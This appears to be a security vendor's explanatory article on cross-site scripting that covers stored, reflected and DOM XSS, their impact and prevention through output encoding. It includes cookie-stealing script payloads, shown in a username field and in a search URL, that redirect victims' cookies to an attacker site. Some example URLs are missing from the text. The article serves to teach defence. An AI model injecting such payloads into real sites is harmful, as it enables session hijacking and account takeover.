The Cross-site Scripting (XSS) Vulnerability: Definition and Prevention

Netsparker Security Team - Thu, 18 Apr 2019 -

This article explains the three different types of cross-site scripting (XSS) vulnerability. It also uses examples to highlight how attackers can exploit such vulnerability and what you, as a developer can do to prevent XSS Vulnerabilities in your web applications.

The Cross-site Scripting (XSS) Vulnerability: Definition and Prevention

The Cross-Site Scripting vulnerability is one of the few vulnerabilities that has made it in every OWASP Top 10 list of most critical web application security risks released.

The Cross-site Scripting (XSS) Vulnerability: Definition and Prevention

To understand the Cross-site Scripting vulnerability you have to first understand the basic concept of the Same Origin Policy (SOP), which forbids a web application to retrieve content from pages with another origin. By forbidding access to cross-origin content random websites cannot not read or modify data from your Facebook page or PayPal account while logged in to them.

SOP is one of the most important security principles in every web browser. For example the page can access content from while cannot access content from

The Cross-site Scripting (XSS) Vulnerability

Cross-site Scripting, also known as XSS, is a way of bypassing the SOP concept in a vulnerable web application. Whenever HTML code is generated dynamically, and the user input is not sanitized and is reflected on the page an attacker could insert his own HTML code. The web browser will still show the user's code since it pertains to the website where it is injected.

In such case an attacker can easily insert JavaScript code which would run under the site's context. By doing so the attacker is able to access other pages on the same domain and can read data like CSRF-Tokens or the set cookies.

If the cookies, which typically contain session identifier information, can be read by the client-side JavaScript code, the attacker can use them on his own browser and login to the web application as the victim. If that does not work the attacker can still read private information from the pages, such as read CSRF tokens and make requests on behalf of the user.

Different Types of Cross-Site Scripting Vulnerability

There are mainly three different types of Cross-site Scripting vulnerability; Stored, Reflected and DOM XSS. Below you can find a detailed technical explanation of each of them.

Stored Cross-site Scripting Vulnerability

Stored Cross-site scripting vulnerabilities happens when the payload is saved, for example in a database and then is executed when a user opens the page on the web application. Stored cross-site scripting is very dangerous for a number of reasons:

  • The payload is not visible for the browser's XSS filter
  • Users might accidentally trigger the payload if they visit the affected page, while a crafted url or specific form inputs would be required for exploiting reflected XSS.

Example of a Stored XSS

A stored XSS vulnerability can happen if the username of an online message board is not properly sanitized when it is printed on the page. In such case an attacker can insert malicious code when registering a new user on the form. When the username is reflected on the message board page, it will look like this:

Username: user123<script>document.location=''+encodeURIComponent(document.cookie)</script>
Registered since: 2016

The above malicious JavaScript is triggered every time a user visits this forum section, and it sends the message board user's cookies that is stored in the user's browser to the attacker, who then uses them to hijack the user's sessions. Stored XSS can be a very dangerous vulnerability since it can have the effect of a worm, especially when exploited on popular pages.

For example imagine a message board or social media website that has a public facing page that is vulnerable to a stored XSS vulnerability, such as the profile page of the user. If the attacker is able to place malicious JavaScript payload that adds itself to the profile page, the attack vector is executed every time a visitor opens the page and the payload spreads itself with an exponential growth.

Reflected Cross-site Scripting (XSS) Vulnerability

A reflected XSS vulnerability happens when the user input from a URL or POST data is reflected on the page without being stored, thus allowing the attacker to inject malicious content. This means that an attacker has to send a crafted malicious URL  or post form to the victim to insert the payload, and the victim should click the link. This kind of payload is also generally being caught by built-in XSS filters in user's browsers, like Chrome, Internet Explorer or Edge.

Example of a Reflected XSS

As an example of XSS attacks we will use a search functionality on a news website, which works by appending the user's input, which is taken from the GET HTTP request, to the q parameter, as per the example below:

In the search results the website reflects the content of the query that the user searched for, such as:

You searched for "data breach":

If the Search functionality is vulnerable to a reflected cross-site scripting vulnerability, the attacker can send the victim a malicious URL such as the below:<script>document.location='' + encodeURIComponent(document.cookie)</script>

Once the victim clicks on the malicious URL, the XSS attack is executed and the website displays the following:

You searched for "<script>document.location='' + document.cookie</script>":

The HTML source code, which is reflecting the attacker's malicious code redirects the victim's browser to a website that is controlled by the attacker, which then steals the user's current session cookies / session tokens from the victim's browser for the site as GET parameter.

DOM Based Cross-Site Scripting Vulnerability

The DOM Based XSS vulnerability happens in the DOM (Document Object Model) instead of part of the HTML. Read DOM Based Cross-site Scripting (XSS) vulnerability for a detailed explanation of DOM XSS.

Impacts of the Cross-site Scripting Vulnerability

The impact of an exploited XSS vulnerability on a web application varies a lot. It ranges from user's Session Hijacking, and if used in conjunction with a social engineering attack it can also lead to disclosure of sensitive data, CSRF attacks and other security vulnerabilities. By exploiting a cross-site scripting vulnerability an attacker can impersonate the victim and take over the account. If the victim has administrative rights it might even lead to code execution on the server, depending on the application and the privileges of the account. Read about the jira incident for more information on how a XSS vulnerability was used in a successful attack which also led to code execution.

Preventing XSS Vulnerabilities

To prevent XSS security vulnerabilities it is very important to apply a context dependent output encoding. In some cases it might be enough to encode the HTML special characters, such as opening and closing tags. In other cases a correctly applied URL encoding is necessary. Links should generally be disallowed if they don't begin with a whitelisted protocol such as http:// or https://, thus preventing the use of URI schemes such as javascript://.

Even though most modern web browsers have an inbuilt XSS filter they should not be seen as an alternative to sanitization. They cannot catch all kinds of cross-site scripting attacks and are not strict so not to lead to false positives, which would prevent some pages from loading correctly. A web browser's XSS filter should only be a "second line of defense" and the idea is to minimise the impact of existing vulnerabilities.

Developers should not use blacklists as there is a variety of bypasses for them. Another thing they should avoid using is the stripping of dangerous functions and characters as the browsers' XSS filters can't recognize the dangerous payloads when the output is tampered with allowing for possible bypasses. That being said, the only recommended prevention of XSS is encoding as mentioned above.

Vulnerability Classification and Severity Table

Classification ID / Severity
PCI v3.2 6.5.7
CWE 79
OWASP 2013 A3
OWASP 2017 A7
HIPAA 164.308(a)
Netsparker High